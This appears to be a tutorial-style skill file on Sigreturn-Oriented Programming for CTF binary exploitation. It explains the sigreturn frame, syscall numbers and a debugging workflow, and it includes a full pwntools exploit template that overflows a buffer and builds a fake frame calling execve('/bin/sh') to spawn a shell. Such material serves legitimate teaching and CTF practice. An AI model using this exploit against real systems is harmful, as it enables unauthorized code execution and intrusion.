SROP Exploitation Skill
Sigreturn-Oriented Programming (SROP) is a powerful exploitation technique that abuses the sigreturn syscall to gain arbitrary register control and execute syscalls like execve for shell access.
When to Use This Skill
Use this skill when:
- A binary has a buffer overflow and calls
sigreturn(or you can ROP to it) - You need to control CPU registers to call syscalls with specific parameters
- Traditional ROP gadgets are limited but you can write to the stack
- The challenge involves signal handlers or signal-based vulnerabilities
- You're working on CTF pwn challenges with no PIE, no canary, NX enabled
Core Concept
The sigreturn syscall restores CPU register state from a stack frame. By crafting a fake sigreturn frame on the stack, you can:
- Set all general-purpose registers to arbitrary values
- Control
RIPto redirect execution - Call syscalls with fully controlled parameters (e.g.,
execvefor/bin/sh)
This is essentially a ret2syscall with full parameter control.
The Sigreturn Frame Structure
On x86-64, the sigcontext structure stored on the stack looks like this:
+--------------------+--------------------+
| rt_sigreturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc_stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Exploitation Patterns
Pattern 1: Binary Already Calls sigreturn
When the vulnerable binary calls sigreturn after a buffer overflow:
- Calculate the offset to the return address
- Overwrite the return address with the
sigreturnfunction address - Place your crafted
sigreturnframe immediately after - The frame will be popped when
sigreturnexecutes
Pattern 2: ROP to sigreturn
When the binary doesn't call sigreturn but you can ROP:
- Find a
pop rax; retgadget - Load
0xf(sigreturn syscall number) intorax - Find or use a
syscallinstruction address - Chain:
pop_rax→0xf→syscall_addr→sigreturn_frame
Common Syscall Numbers (x86-64 Linux)
| Syscall | Number | Use Case |
|---|---|---|
execve |
59 (0x3b) | Spawn shell |
sigreturn |
15 (0xf) | Restore registers |
mprotect |
10 (0xa) | Make memory executable |
read |
0 | Read input |
write |
1 | Write output |
Using pwn's SigreturnFrame
The pwntools library provides SigreturnFrame() which automatically constructs a valid frame:
from pwn import *
frame = SigreturnFrame()
frame.rax = 59 # execve syscall
frame.rdi = binsh # /bin/sh address
frame.rsi = 0 # NULL (argv)
frame.rdx = 0 # NULL (envp)
frame.rip = syscall_addr # Where to go after syscall
Step-by-Step Exploitation Workflow
Analyze the binary
- Check protections:
checksec --file ./vuln - Look for
sigreturnin the binary:objdump -d ./vuln | grep sigreturn - Find
/bin/shstring:strings ./vuln | grep /bin/sh
- Check protections:
Determine the offset
- Use cyclic patterns or
pwntoolsto find the exact offset to the return address
- Use cyclic patterns or
Find necessary addresses
sigreturnfunction addresssyscallinstruction address (if ROP needed)/bin/shstring addresspop rax; retgadget (if ROP needed)
Craft the payload
- Padding to reach return address
sigreturnaddress (or ROP chain to it)SigreturnFrame()with desired register values
Test and iterate
- Use GDB to verify the exploit works
- Check register values before
sigreturnexecutes
Example Exploit Template
from pwn import *
# Setup
context.binary = ELF('./vuln')
p = process()
# Find addresses
BINSH = next(context.binary.search(b'/bin/sh'))
SIGRETURN = context.binary.symbols['sigreturn']
SYSCALL_ADDR = next(context.binary.search(b'\x0f\x05')) # syscall instruction
POP_RAX = next(context.binary.search(b'\x58\xc3')) # pop rax; ret
# Craft sigreturn frame
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = BINSH # /bin/sh
frame.rsi = 0 # NULL
frame.rdx = 0 # NULL
frame.rip = SYSCALL_ADDR # Execute syscall after execve setup
# Build payload
payload = b'A' * OFFSET # Padding to return address
payload += p64(POP_RAX)
payload += p64(0xf) # sigreturn syscall number
payload += p64(SYSCALL_ADDR)
payload += bytes(frame)
# Send and interact
p.sendline(payload)
p.interactive()
Debugging Tips
- GDB breakpoint:
break *0x40017c(replace with sigreturn address) - Check registers:
info registersbefore sigreturn executes - Verify frame:
x/20gx $rspto see the sigreturn frame on stack - Common issues:
- Wrong offset: use cyclic pattern generator
- Wrong syscall number: verify with
man syscall - Frame alignment: ensure 16-byte alignment on x86-64
References
Related Skills
- ROP exploitation (when sigreturn isn't available)
- Ret2Syscall (simpler syscall exploitation)
- Shellcode injection (when you can make memory executable)